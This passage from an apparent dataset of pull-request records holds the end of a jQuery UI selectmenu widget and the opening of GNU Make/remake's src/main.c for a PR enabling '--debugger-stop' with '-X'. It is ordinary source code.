li's)\n\t\tthis._optionLis = this.list.find( 'li:not(.' + self.widgetBaseClass + '-group)' );\n\n\t\t// transfer disabled state\n\t\tif ( this.element.attr( 'disabled' ) === true ) {\n\t\t\tthis.disable();\n\t\t} else {\n\t\t\tthis.enable()\n\t\t}\n\t\t\n\t\t// update value\n\t\tthis.index( this._selectedIndex() );\n\n\t\t// needed when selectmenu is placed at the very bottom / top of the page\n\t\twindow.setTimeout( function() {\n\t\t\tself._refreshPosition();\n\t\t}, 200 );\n\t},\n\n\tdestroy: function() {\n\t\tthis.element.removeData( this.widgetName )\n\t\t\t.removeClass( this.widgetBaseClass + '-disabled' + ' ' + this.namespace + '-state-disabled' )\n\t\t\t.removeAttr( 'aria-disabled' )\n\t\t\t.unbind( \".selectmenu\" );\n\n\t\t$( window ).unbind( \".selectmenu\" );\n\t\t$( document ).unbind( \".selectmenu\" );\n\n\t\t// unbind click on label, reset its for attr\n\t\t$( 'label[for=' + this.newelement.attr('id') + ']' )\n\t\t\t.attr( 'for', this.element.attr( 'id' ) )\n\t\t\t.unbind( '.selectmenu' );\n\n\t\tif ( this.options.wrapperElement ) {\n\t\t\tthis.newelement.find( this.options.wrapperElement ).remove();\n\t\t\tthis.list.find( this.options.wrapperElement ).remove();\n\t\t} else {\n\t\t\tthis.newelement.remove();\n\t\t\tthis.list.remove();\n\t\t}\n\t\tthis.element.show();\n\n\t\t// call widget destroy function\n\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\t},\n\n\t_typeAhead: function(code, eventType){\n\t\tvar self = this, focusFound = false, C = String.fromCharCode(code).toUpperCase(), c = C.toLowerCase();\n\n\t\tif (self.options.typeAhead == 'sequential') {\n\t\t\tvar currentFocusedPosition = {\n\t\t\t\tget: function() {\n\t\t\t\t\tif (typeof(self._currentFocusedPosition) === 'undefined') {\n\t\t\t\t\t\tself._currentFocusedPosition = {};\n\t\t\t\t\t}\n\t\t\t\t\treturn self._currentFocusedPosition;\n\t\t\t\t},\n\t\t\t\treset:function() {\n\t\t\t\t\tself._currentFocusedPosition = {};\n\t\t\t\t}\n\t\t\t};\n\t\t\t\n\t\t\tvar prevChars = {\n\t\t\t\tisEmpty: function() {\n\t\t\t\t\treturn typeof(self._prevChar) === 'undefined';\n\t\t\t\t},\n\t\t\t\tlastCharIsNotEqualTo: function(character) {\n\t\t\t\t\treturn (self._prevChar[self._prevChar.length - 1] !== character.toLowerCase() && \n\t\t\t\t\t\tself._prevChar[self._prevChar.length - 1] !== character.toUpperCase());\n\t\t\t\t},\n\t\t\t\ttoString: function() {\n\t\t\t\t\treturn typeof(self._prevChar) === 'undefined' ? \n\t\t\t\t\t\t'' : \n\t\t\t\t\t\tself._prevChar.join('');\n\t\t\t\t},\n\t\t\t\treset: function() {\n\t\t\t\t\tself._prevChar = undefined;\n\t\t\t\t},\n\t\t\t\tadd: function(c) {\n\t\t\t\t\ttypeof(self._prevChar) === 'undefined' ? \n\t\t\t\t\t\tself._prevChar = [c] : \n\t\t\t\t\t\tself._prevChar[self._prevChar.length] = c;\n\t\t\t\t}\t\t\t\n\t\t\t};\t\t\n\n\t\t\tvar clearPrevCharTimeout = {\n\t\t\t\tget: function() {\n\t\t\t\t\treturn self._clearPrevChar;\n\t\t\t\t},\n\t\t\t\tset: function(value) {\n\t\t\t\t\tself._clearPrevChar = value;\n\t\t\t\t}, \n\t\t\t\texists: function() {\n\t\t\t\t\treturn typeof(self._clearPrevChar) !== 'undefined';\n\t\t\t\t},\n\t\t\t\treset: function() {\n\t\t\t\t\tself._clearPrevChar = undefined;\n\t\t\t\t}\n\t\t\t};\t\t\t\n\n\t\t\t\n\t\t\tfunction startWithSpecification(text, pattern) {\n\t\t\t\treturn (text.toLowerCase().indexOf( pattern.toLowerCase() ) === 0);\n\t\t\t}\n\t\t\t\n\t\t\tfunction lessThanCurrentFocusedPositionSpecification(index, character) {\n\t\t\t\treturn index <= currentFocusedPosition.get()[c];\n\t\t\t}\n\t\t\t\n\t\t\tfunction focusOptSeq(elem){\n\t\t\t\t$(elem).trigger(eventType);\n\t\t\t}\n\t\t\t\n\t\t\tfunction matchIsFound(character, indexOfMatch) {\n\t\t\t\tprevChars.add(character);\t\t\t\t\t\t\t\t\n\t\t\t\tcurrentFocusedPosition.get()[character.toLowerCase()] = indexOfMatch;\n\t\t\t}\n\t\t\t\n\t\t\t\t\t\t\n\t\t\tfunction matchFirstCharFromTheBeginningOfList(listToSearch) {\n\t\t\t\tmatchFirstLetter.call(this, listToSearch);\n\t\t\t}\n\n\t\t\tfunction matchFirstLetter(listToSearch) {\t\t\t\t\n\t\t\t\treturn searchListForCharSuffixedby.apply(this, [listToSearch, '']);\n\t\t\t}\n\t\t\t\n\t\t\tfunction matchByString(listToSearch, pattern) {\t\t\t\t\n\t\t\t\treturn searchListForCharSuffixedby.apply(this, [listToSearch, pattern]);\n\t\t\t}\t\t\n\t\t\t\n\t\t\tfunction matchByFirstCharFromCurrentFocusedPosition(listToSearch) {\n\t\t\t\treturn searchListForCharSuffixedby.apply(this, \n\t\t\t\t\t[listToSearch, '', lessThanCurrentFocusedPositionSpecification]);\n\t\t\t}\n\t\t\t\n\t\t\tfunction searchListForCharSuffixedby(listToSearch, pattern, preCondition) {\t\t\t\n\t\t\t\tvar found = false;\t\n\t\t\t\t\n\t\t\t\tlistToSearch.each(function(i) {\n\t\t\t\t\tif (!found) {\n\t\t\t\t\t\tif (preCondition && preCondition(i, c)) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\t// allow the typeahead attribute on the option tag for a more specific lookup\n\t\t\t\t\t\tvar thisText = $(this).attr('typeahead') || $(this).text();\n\t\t\t\t\t\t\n\t\t\t\t\t\t// allow the typeahead attribute on the option tag for a more specific lookup\n\t\t\t\t\t\tif ( !startWithSpecification(thisText, (pattern || '') + c) ) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tmatchIsFound(c, i);\n\t\t\t\t\t\tfocusOptSeq(this);\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\treturn found;\n\t\t\t}\t\n\t\t\t\n\t\t\tfunction doSearch() {\n\t\t\t\tvar listToSearch = this.list.find('li a');\n\t\t\t\t\n\t\t\t\t// for the 1st letter, should select the first item which has the same first letter\n\t\t\t\tif ( prevChars.isEmpty() ) {\n\t\t\t\t\tmatchFirstLetter.call(this, listToSearch);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// try to match by string first\n\t\t\t\tif ( matchByString.call(this, listToSearch, prevChars.toString()) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t// if previous char is different from current char, flush the currentFocusedPosition\n\t\t\t\tif ( prevChars.lastCharIsNotEqualTo(c) ) {\n\t\t\t\t\tcurrentFocusedPosition.reset();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// try to match by the first letter starting from current position\n\t\t\t\tif ( matchByFirstCharFromCurrentFocusedPosition.call(this, listToSearch) ) {\t\t\t\t\n\t\t\t\t\treturn;\n\t\t\t\t}\t\t\t\t\n\t\t\t\t\n\t\t\t\t// lastly, try to rematch from the beginning again\n\t\t\t\tmatchFirstCharFromTheBeginningOfList.call(this, listToSearch);\n\t\t\t}\n\t\t\t\n\t\t\tfunction clearPreviousTimeouts() {\n\t\t\t\t// TODO: it's not very clear what this is needed for?\n\t\t\t\t// clear the timeout so we can use _prevChar\n\t\t\t\twindow.clearTimeout('ui.selectmenu-' + self.selectmenuId);\n\t\t\t\t\n\t\t\t\tif ( clearPrevCharTimeout.exists() ) {\n\t\t\t\t\twindow.clearTimeout( clearPrevCharTimeout.get() );\n\t\t\t\t\tclearPrevCharTimeout.reset();\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfunction setTimeoutToClear() {\n\t\t\t\t// set a 1 second timeout for sequential typeahead\n\t\t\t\t// keep this set even if we have no matches so it doesnt typeahead somewhere else\t\n\t\t\t\tclearPrevCharTimeout.set(\n\t\t\t\t\twindow.setTimeout(function(el) {\n\t\t\t\t\t\tprevChars.reset();\n\t\t\t\t\t\tcurrentFocusedPosition.reset();\n\t\t\t\t\t}, 1000, self));\n\t\t\t}\n\t\t\t\n\t\t\tclearPreviousTimeouts();\n\t\t\tdoSearch.call(this);\n\t\t\tsetTimeoutToClear();\n\t\t\t\n\t\t} else {\n\t\t\t//define self._prevChar if needed\n\t\t\tif (!self._prevChar){ self._prevChar = ['',0]; }\n\n\t\t\tvar focusFound = false;\n\t\t\tfunction focusOpt(elem, ind){\n\t\t\t\tfocusFound = true;\n\t\t\t\t$(elem).trigger(eventType);\n\t\t\t\tself._prevChar[1] = ind;\n\t\t\t}\n\t\t\tthis.list.find('li a').each(function(i){\n\t\t\t\tif(!focusFound){\n\t\t\t\t\tvar thisText = $(this).text();\n\t\t\t\t\tif( thisText.indexOf(C) == 0 || thisText.indexOf(c) == 0){\n\t\t\t\t\t\t\tif(self._prevChar[0] == C){\n\t\t\t\t\t\t\t\tif(self._prevChar[1] < i){ focusOpt(this,i); }\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{ focusOpt(this,i); }\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\tthis._prevChar[0] = C;\n\t\t}\n\t},\n\n\t// returns some usefull information, called by callbacks only\n\t_uiHash: function() {\n\t\tvar index = this.index();\n\t\treturn {\n\t\t\tindex: index,\n\t\t\toption: $(\"option\", this.element).get(index),\n\t\t\tvalue: this.element[0].value\n\t\t};\n\t},\n\n\topen: function(event) {\n\t\tvar self = this;\n\t\tif ( this.newelement.attr(\"aria-disabled\") != 'true' ) {\n\t\t\tthis._closeOthers(event);\n\t\t\tthis.newelement\n\t\t\t\t.addClass('ui-state-active');\n\t\t\tif (self.options.wrapperElement) {\n\t\t\t\tthis.list.parent().appendTo('body');\n\t\t\t} else {\n\t\t\t\tthis.list.appendTo('body');\n\t\t\t}\n\n\t\t\tthis.list.addClass(self.widgetBaseClass + '-open')\n\t\t\t\t.attr('aria-hidden', false);\n\t\t\t\n\t\t\tselected = this.list.find('li:not(.' + self.widgetBaseClass + '-group):eq(' + this._selectedIndex() + ') a');\n\t\t\tif (selected.length) selected[0].focus();\n\t\t\t\n\t\t\tif ( this.options.style == \"dropdown\" ) {\n\t\t\t\tthis.newelement.removeClass('ui-corner-all').addClass('ui-corner-top');\n\t\t\t}\n\t\t\t\n\t\t\tthis._refreshPosition();\n\t\t\tthis._trigger(\"open\", event, this._uiHash());\n\t\t}\n\t},\n\n\tclose: function(event, retainFocus) {\n\t\tif ( this.newelement.is('.ui-state-active') ) {\n\t\t\tthis.newelement\n\t\t\t\t.removeClass('ui-state-active');\n\t\t\tthis.list\n\t\t\t\t.attr('aria-hidden', true)\n\t\t\t\t.removeClass(this.widgetBaseClass + '-open');\n\t\t\tif ( this.options.style == \"dropdown\" ) {\n\t\t\t\tthis.newelement.removeClass('ui-corner-top').addClass('ui-corner-all');\n\t\t\t}\n\t\t\tif ( retainFocus ) {\n\t\t\t\tthis.newelement.focus();\n\t\t\t}\n\t\t\tthis._trigger(\"close\", event, this._uiHash());\n\t\t}\n\t},\n\n\tchange: function(event) {\n\t\tthis.element.trigger(\"change\");\n\t\tthis._trigger(\"change\", event, this._uiHash());\n\t},\n\n\tselect: function(event) {\n\t\tif (this._disabled(event.currentTarget)) { return false; }\n\t\tthis._trigger(\"select\", event, this._uiHash());\n\t},\n\n\t_closeOthers: function(event) {\n\t\t$('.' + this.widgetBaseClass + '.ui-state-active').not(this.newelement).each(function() {\n\t\t\t$(this).data('selectelement').selectmenu('close', event);\n\t\t});\n\t\t$('.' + this.widgetBaseClass + '.ui-state-hover').trigger('mouseout');\n\t},\n\n\t_toggle: function(event, retainFocus) {\n\t\tif ( this.list.is('.' + this.widgetBaseClass + '-open') ) {\n\t\t\tthis.close(event, retainFocus);\n\t\t} else {\n\t\t\tthis.open(event);\n\t\t}\n\t},\n\n\t_formatText: function(text) {\n\t\treturn (this.options.format ? this.options.format(text) : text);\n\t},\n\n\t_selectedIndex: function() {\n\t\treturn this.element[0].selectedIndex;\n\t},\n\n\t_selectedOptionLi: function() {\n\t\treturn this._optionLis.eq(this._selectedIndex());\n\t},\n\n\t_focusedOptionLi: function() {\n\t\treturn this.list.find('.' + this.widgetBaseClass + '-item-focus');\n\t},\n\n\t_moveSelection: function(amt, recIndex) {\n\t\t// do nothing if disabled\n\t\tif (!this.options.disabled) {\n\t\t\tvar currIndex = parseInt(this._selectedOptionLi().data('index') || 0, 10);\n\t\t\tvar newIndex = currIndex + amt;\n\t\t\t// do not loop when using up key\n\n\t\t\tif (newIndex < 0) {\n\t\t\t\tnewIndex = 0;\n\t\t\t}\n\t\t\tif (newIndex > this._optionLis.size() - 1) {\n\t\t\t\tnewIndex = this._optionLis.size() - 1;\n\t\t\t}\n\t\t\t// Occurs when a full loop has been made\n\t\t\tif (newIndex === recIndex) { return false; }\n\n\t\t\tif (this._optionLis.eq(newIndex).hasClass( this.namespace + '-state-disabled' )) {\n\t\t\t\t// if option at newIndex is disabled, call _moveFocus, incrementing amt by one\n\t\t\t\t(amt > 0) ? ++amt : --amt;\n\t\t\t\tthis._moveSelection(amt, newIndex);\n\t\t\t} else {\n\t\t\t\treturn this._optionLis.eq(newIndex).trigger('mouseup');\n\t\t\t}\n\t\t}\n\t},\n\n\t_moveFocus: function(amt, recIndex) {\n\t\tif (!isNaN(amt)) {\n\t\t\tvar currIndex = parseInt(this._focusedOptionLi().data('index') || 0, 10);\n\t\t\tvar newIndex = currIndex + amt;\n\t\t}\n\t\telse {\n\t\t\tvar newIndex = parseInt(this._optionLis.filter(amt).data('index'), 10);\n\t\t}\n\n\t\tif (newIndex < 0) {\n\t\t\tnewIndex = 0;\n\t\t}\n\t\tif (newIndex > this._optionLis.size() - 1) {\n\t\t\tnewIndex = this._optionLis.size() - 1;\n\t\t}\n\n\t\t//Occurs when a full loop has been made\n\t\tif (newIndex === recIndex) { return false; }\n\n\t\tvar activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);\n\n\t\tthis._focusedOptionLi().find('a:eq(0)').attr('id', '');\n\n\t\tif (this._optionLis.eq(newIndex).hasClass( this.namespace + '-state-disabled' )) {\n\t\t\t// if option at newIndex is disabled, call _moveFocus, incrementing amt by one\n\t\t\t(amt > 0) ? ++amt : --amt;\n\t\t\tthis._moveFocus(amt, newIndex);\n\t\t} else {\n\t\t\tthis._optionLis.eq(newIndex).find('a:eq(0)').attr('id',activeID).focus();\n\t\t}\n\n\t\tthis.list.attr('aria-activedescendant', activeID);\n\t},\n\n\t_scrollPage: function(direction) {\n\t\tvar numPerPage = Math.floor(this.list.outerHeight() / this.list.find('li:first').outerHeight());\n\t\tnumPerPage = (direction == 'up' ? -numPerPage : numPerPage);\n\t\tthis._moveFocus(numPerPage);\n\t},\n\n\t_setOption: function(key, value) {\n\t\tthis.options[key] = value;\n\t\t// set\n\t\tif (key == 'disabled') {\n\t\t\tthis.close();\n\t\t\tthis.element\n\t\t\t\t.add(this.newelement)\n\t\t\t\t.add(this.list)[value ? 'addClass' : 'removeClass'](\n\t\t\t\t\tthis.widgetBaseClass + '-disabled' + ' ' +\n\t\t\t\t\tthis.namespace + '-state-disabled')\n\t\t\t\t.attr(\"aria-disabled\", value);\n\t\t}\n\t},\n\n\tdisable: function(index, type){\n\t\t\t// if options is not provided, call the parents disable function\n\t\t\tif ( typeof( index ) == 'undefined' ) {\n\t\t\t\tthis._setOption( 'disabled', true );\n\t\t\t} else {\n\t\t\t\tif ( type == \"optgroup\" ) {\n\t\t\t\t\tthis._disableOptgroup(index);\n\t\t\t\t} else {\n\t\t\t\t\tthis._disableOption(index);\n\t\t\t\t}\n\t\t\t}\n\t},\n\n\tenable: function(index, type) {\n\t\t\t// if options is not provided, call the parents enable function\n\t\t\tif ( typeof( index ) == 'undefined' ) {\n\t\t\t\tthis._setOption('disabled', false);\n\t\t\t} else {\n\t\t\t\tif ( type == \"optgroup\" ) {\n\t\t\t\t\tthis._enableOptgroup(index);\n\t\t\t\t} else {\n\t\t\t\t\tthis._enableOption(index);\n\t\t\t\t}\n\t\t\t}\n\t},\n\n\t_disabled: function(elem) {\n\t\t\treturn $(elem).hasClass( this.namespace + '-state-disabled' );\n\t},\n\n\n\t_disableOption: function(index) {\n\t\t\tvar optionElem = this._optionLis.eq(index);\n\t\t\tif (optionElem) {\n\t\t\t\toptionElem.addClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.find(\"a\").attr(\"aria-disabled\", true);\n\t\t\t\tthis.element.find(\"option\").eq(index).attr(\"disabled\", \"disabled\");\n\t\t\t}\n\t},\n\n\t_enableOption: function(index) {\n\t\t\tvar optionElem = this._optionLis.eq(index);\n\t\t\tif (optionElem) {\n\t\t\t\toptionElem.removeClass( this.namespace + '-state-disabled' )\n\t\t\t\t\t.find(\"a\").attr(\"aria-disabled\", false);\n\t\t\t\tthis.element.find(\"option\").eq(index).removeAttr(\"disabled\");\n\t\t\t}\n\t},\n\n\t_disableOptgroup: function(index) {\n\t\t\tvar optGroupElem = this.list.find( 'li.' + this.widgetBaseClass + '-group-' + index );\n\t\t\tif (optGroupElem) {\n\t\t\t\toptGroupElem.addClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.attr(\"aria-disabled\", true);\n\t\t\t\tthis.element.find(\"optgroup\").eq(index).attr(\"disabled\", \"disabled\");\n\t\t\t}\n\t},\n\n\t_enableOptgroup: function(index) {\n\t\t\tvar optGroupElem = this.list.find( 'li.' + this.widgetBaseClass + '-group-' + index );\n\t\t\tif (optGroupElem) {\n\t\t\t\toptGroupElem.removeClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.attr(\"aria-disabled\", false);\n\t\t\t\tthis.element.find(\"optgroup\").eq(index).removeAttr(\"disabled\");\n\t\t\t}\n\t},\n\n\tindex: function(newValue) {\n\t\tif (arguments.length) {\n\t\t\tif (!this._disabled($(this._optionLis[newValue]))) {\n\t\t\t\tthis.element[0].selectedIndex = newValue;\n\t\t\t\tthis._refreshValue();\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\treturn this._selectedIndex();\n\t\t}\n\t},\n\n\tvalue: function(newValue) {\n\t\tif (arguments.length) {\n\t\t\tthis.element[0].value = newValue;\n\t\t\tthis._refreshValue();\n\t\t} else {\n\t\t\treturn this.element[0].value;\n\t\t}\n\t},\n\n\t_refreshValue: function() {\n\t\tvar activeClass = (this.options.style == \"popup\") ? \" ui-state-active\" : \"\";\n\t\tvar activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);\n\t\t// deselect previous\n\t\tthis.list\n\t\t\t.find('.' + this.widgetBaseClass + '-item-selected')\n\t\t\t.removeClass(this.widgetBaseClass + \"-item-selected\" + activeClass)\n\t\t\t.find('a')\n\t\t\t.attr('aria-selected', 'false')\n\t\t\t.attr('id', '');\n\t\t// select new\n\t\tthis._selectedOptionLi()\n\t\t\t.addClass(this.widgetBaseClass + \"-item-selected\" + activeClass)\n\t\t\t.find('a')\n\t\t\t.attr('aria-selected', 'true')\n\t\t\t.attr('id', activeID);\n\n\t\t// toggle any class brought in from option\n\t\tvar currentOptionClasses = (this.newelement.data('optionClasses') ? this.newelement.data('optionClasses') : \"\");\n\t\tvar newOptionClasses = (this._selectedOptionLi().data('optionClasses') ? this._selectedOptionLi().data('optionClasses') : \"\");\n\t\tthis.newelement\n\t\t\t.removeClass(currentOptionClasses)\n\t\t\t.data('optionClasses', newOptionClasses)\n\t\t\t.addClass( newOptionClasses )\n\t\t\t.find('.' + this.widgetBaseClass + '-status')\n\t\t\t.html(\n\t\t\t\tthis._selectedOptionLi()\n\t\t\t\t\t.find('a:eq(0)')\n\t\t\t\t\t.html()\n\t\t\t);\n\n\t\tthis.list.attr('aria-activedescendant', activeID);\n\t},\n\n\t_refreshPosition: function() {\n\t\tvar o = this.options;\n\t\t// if its a native pop-up we need to calculate the position of the selected li\n\t\tif (o.style == \"popup\" && !o.positionOptions.offset) {\n\t\t\tvar selected = this._selectedOptionLi();\n\t\t\tvar _offset = \"0 -\" + (selected.outerHeight() + selected.offset().top - this.list.offset().top);\n\t\t}\n\t\t// update zIndex if jQuery UI is able to process\n\t\tvar zIndexElement = this.element.zIndex();\n\t\tif (zIndexElement) {\n\t\t\tthis.list.css({\n\t\t\t\tzIndex: zIndexElement\n\t\t\t});\n\t\t}\n\t\tthis.list.position({\n\t\t\t\t// set options for position plugin\n\t\t\t\tof: o.positionOptions.of || this.newelement,\n\t\t\t\tmy: o.positionOptions.my,\n\t\t\t\tat: o.positionOptions.at,\n\t\t\t\toffset: o.positionOptions.offset || _offset,\n\t\t\t\tcollision: o.positionOptions.collision || 'flip'\n\t\t\t});\n\t}\n});\n\n})(jQuery);\n"}}
{"repo": "Trepan-Debuggers/remake", "pr_number": 149, "title": "Enable --debugger-stop with -X", "state": "closed", "merged_at": "2023-08-28T03:36:30Z", "additions": 38, "deletions": 39, "files_changed": ["src/main.c"], "files_before": {"src/main.c": "/* Argument parsing and main program of GNU Make.\nCopyright (C) 1988-2020 Free Software Foundation, Inc.\nCopyright (C) 2015, 2017 Rocky Bernstein\nThis file is part of GNU Make.\n\nGNU Make is free software; you can redistribute it and/or modify it under the\nterms of the GNU General Public License as published by the Free Software\nFoundation; either version 3 of the License, or (at your option) any later\nversion.\n\nGNU Make is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program.  If not, see <http://www.gnu.org/licenses/>.  */\n\n#include \"makeint.h\"\n#include \"globals.h\"\n#include \"profile.h\"\n#include \"os.h\"\n#include \"filedef.h\"\n#include \"dep.h\"\n#include \"variable.h\"\n#include \"job.h\"\n#include \"commands.h\"\n#include \"rule.h\"\n#include \"debug.h\"\n#include \"getopt.h\"\n// debugger include(s)\n#include \"cmd.h\"\n\n#include <assert.h>\n#ifdef WINDOWS32\n# include <windows.h>\n# include <io.h>\n#ifdef HAVE_STRINGS_H\n# include <strings.h>\t/* for strcasecmp */\n#endif\n# include \"pathstuff.h\"\n# include \"sub_proc.h\"\n# include \"w32err.h\"\n#endif\n#ifdef HAVE_FCNTL_H\n# include <fcntl.h>\n#endif\n\nstruct goaldep *read_makefiles;\n\nextern void initialize_stopchar_map ();\n\n#if defined HAVE_WAITPID || defined HAVE_WAIT3\n# define HAVE_WAIT_NOHANG\n#endif\n\n#ifndef HAVE_UNISTD_H\nint chdir ();\n#endif\n#ifndef STDC_HEADERS\n# ifndef sun                    /* Sun has an incorrect decl in a header.  */\nvoid exit (int) NORETURN;\n# endif\ndouble atof ();\n#endif\n\nstatic void clean_jobserver (int status);\nstatic void print_data_base (void);\nvoid print_rule_data_base (bool b_verbose);\nstatic void print_version (void);\nstatic void decode_switches (int argc, const char **argv, int env);\nstatic void decode_env_switches (const char *envar, size_t len);\nstatic struct variable *define_makeflags (int all, int makefile);\nstatic char *quote_for_env (char *out, const char *in);\nstatic void initialize_global_hash_tables (void);\n\n\f\n/* The structure that describes an accepted command switch.  */\n\nstruct command_switch\n  {\n    int c;                      /* The switch character.  */\n\n    enum                        /* Type of the value.  */\n      {\n        flag,                   /* Turn int flag on.  */\n        flag_off,               /* Turn int flag off.  */\n        string,                 /* One string per invocation.  */\n        strlist,                /* One string per switch.  */\n        filename,               /* A string containing a file name.  */\n        positive_int,           /* A positive integer.  */\n        floating,               /* A floating-point number (double).  */\n        ignore                  /* Ignored.  */\n      } type;\n\n    void *value_ptr;    /* Pointer to the value-holding variable.  */\n\n    unsigned int env:1;         /* Can come from MAKEFLAGS.  */\n    unsigned int toenv:1;       /* Should be put in MAKEFLAGS.  */\n    unsigned int no_makefile:1; /* Don't propagate when remaking makefiles.  */\n\n    const void *noarg_value;    /* Pointer to value used if no arg given.  */\n    const void *default_value;  /* Pointer to default value.  */\n\n    const char *long_name;      /* Long option name.  */\n  };\n\n/* True if C is a switch value that corresponds to a short option.  */\n\n#define short_option(c) ((c) <= CHAR_MAX)\n\n/* The structure used to hold the list of strings given\n   in command switches of a type that takes strlist arguments.  */\n\n/* The recognized command switches.  */\n\nstatic const int default_silent_flag = 0;\n\n/* Nonzero means either -s was given, or .SILENT-with-no-deps was seen.  */\n\nint run_silent = 0;\n\n/*! If non-null, contains the type of tracing we are to do.\n  This is coordinated with tracing_flag. */\nstringlist_t *tracing_opts = NULL;\n\n/*! If true, show version information on entry. */\nbool b_show_version = false;\n\n/*! If true, go into debugger on error.\nSets --debugger --debugger-stop=error. */\nint post_mortem_flag = 0;\n\n/*! Nonzero means use GNU readline in the debugger. */\nint use_readline_flag =\n#ifdef HAVE_LIBREADLINE\n    1\n#else\n    0\n#endif\n    ;\n\n/*! If nonzero, the basename of filenames is in giving locations. Normally,\n    giving a file directory location helps a debugger frontend\n    when we change directories. For regression tests it is helpful to\n    list just the basename part as that doesn't change from installation\n    to installation. Users may have their preferences too.\n*/\nint basename_filenames = 0;\n\n/* Synchronize output (--output-sync).  */\n\nchar *output_sync_option = 0;\n\n/* Specify profile output formatting (--profile) */\n\nchar *profile_option = 0;\n\n/* Specify the output directory for profiling information */\n\nstatic struct stringlist *profile_dir_opt = 0;\n\n/* Output level (--verbosity).  */\n\nstatic struct stringlist *verbosity_opts;\n\n/* Environment variables override makefile definitions.  */\n\n/* Nonzero means keep going even if remaking some file fails (-k).  */\n\nint keep_going_flag;\nstatic const int default_keep_going_flag = 0;\n\n/*! Nonzero gives a list of explicit target names that have commands\n   AND comments associated with them and exits. Set by option --task-comments\n */\n\nint show_task_comments_flag = 0;\n\n/* Nonzero means ignore print_directory and never print the directory.\n   This is necessary because print_directory is set implicitly.  */\n\nint inhibit_print_directory = 0;\n\n/* List of makefiles given with -f switches.  */\n\nstatic struct stringlist *makefiles = 0;\n\n/* Size of the stack when we started.  */\n\n#ifdef SET_STACK_SIZE\nstruct rlimit stack_limit;\n#endif\n\n\n/* Number of job slots for parallelism.  */\n\nunsigned int job_slots;\n\n#define INVALID_JOB_SLOTS (-1)\nstatic unsigned int master_job_slots = 0;\nstatic int arg_job_slots = INVALID_JOB_SLOTS;\n\nstatic const int default_job_slots = INVALID_JOB_SLOTS;\n\n/* Value of job_slots that means no limit.  */\n\nstatic const int inf_jobs = 0;\n\n/* Authorization for the jobserver.  */\n\nstatic char *jobserver_auth = NULL;\n\n/* Handle for the mutex used on Windows to synchronize output of our\n   children under -O.  */\n\nchar *sync_mutex = NULL;\n\n/* Maximum load average at which multiple jobs will be run.\n   Negative values mean unlimited, while zero means limit to\n   zero load (which could be useful to start infinite jobs remotely\n   but one at a time locally).  */\ndouble max_load_average = -1.0;\ndouble default_load_average = -1.0;\n\n/* List of directories given with -C switches.  */\n\nstatic struct stringlist *directories = 0;\n\n/* List of include directories given with -I switches.  */\n\nstatic struct stringlist *include_directories = 0;\n\n/* List of files given with -o switches.  */\n\nstatic struct stringlist *old_files = 0;\n\n/* List of files given with -W switches.  */\n\nstatic struct stringlist *new_files = 0;\n\n/* List of strings to be eval'd.  */\nstatic struct stringlist *eval_strings = 0;\n\n/* If nonzero, we should just print usage and exit.  */\n\nstatic int print_usage_flag = 0;\n\n/*! Do we want to go into a debugger or not?\n  Values are \"error\"     - enter on errors or fatal errors\n              \"fatal\"     - enter on fatal errors\n              \"goal\"      - set to enter debugger before updating goal\n              \"preread\"   - set to enter debugger before reading makefile(s)\n              \"preaction\" - set to enter debugger before performing any\n                            actions(s)\n              \"full\"     - \"enter\" + \"error\" + \"fatal\"\n*/\nstatic stringlist_t* debugger_opts = NULL;\n\n/* If nonzero, always build all targets, regardless of whether\n   they appear out of date or not.  */\nstatic int always_make_set = 0;\nint always_make_flag = 0;\n\n/* If nonzero, we're in the \"try to rebuild makefiles\" phase.  */\n\nint rebuilding_makefiles = 0;\n\n\f\n/* The usage output.  We write it this way to make life easier for the\n   translators, especially those trying to translate to right-to-left\n   languages like Hebrew.  */\n\nstatic const char *const usage[] =\n  {\n    N_(\"Options:\\n\"),\n    N_(\"\\\n  -b, -m                      Ignored for compatibility.\\n\"),\n    N_(\"\\\n  -B, --always-make           Unconditionally make all targets.\\n\"),\n    N_(\"\\\n  -c, --search-parent         Search parent directories for Makefile.\\n\"),\n    N_(\"\\\n  -C DIRECTORY, --directory=DIRECTORY\\n\\\n                              Change to DIRECTORY before doing anything.\\n\"),\n    N_(\"\\\n  -d                          Print lots of debugging information.\\n\"),\n    N_(\"\\\n  --debug[=FLAGS]             Print various types of debugging information.\\n\"),\n    N_(\"\\\n  -e, --environment-overrides\\n\\\n                              Environment variables override makefiles.\\n\"),\n    N_(\"\\\n  -E STRING, --eval=STRING    Evaluate STRING as a makefile statement.\\n\"),\n    N_(\"\\\n  -f FILE, --file=FILE, --makefile=FILE\\n\\\n                              Read FILE as a makefile.\\n\"),\n    N_(\"\\\n  -h, --help                  Print this message and exit.\\n\"),\n    N_(\"\\\n  -i, --ignore-errors         Ignore errors from recipes.\\n\"),\n    N_(\"\\\n  -I DIRECTORY, --include-dir=DIRECTORY\\n\\\n                              Search DIRECTORY for included makefiles.\\n\"),\n    N_(\"\\\n  -j [N], --jobs[=N]          Allow N jobs at once; infinite jobs with no arg.\\n\"),\n    N_(\"\\\n  -k, --keep-going            Keep going when some targets can't be made.\\n\"),\n    N_(\"\\\n  -l [N], --load-average[=N], --max-load[=N]\\n\\\n                              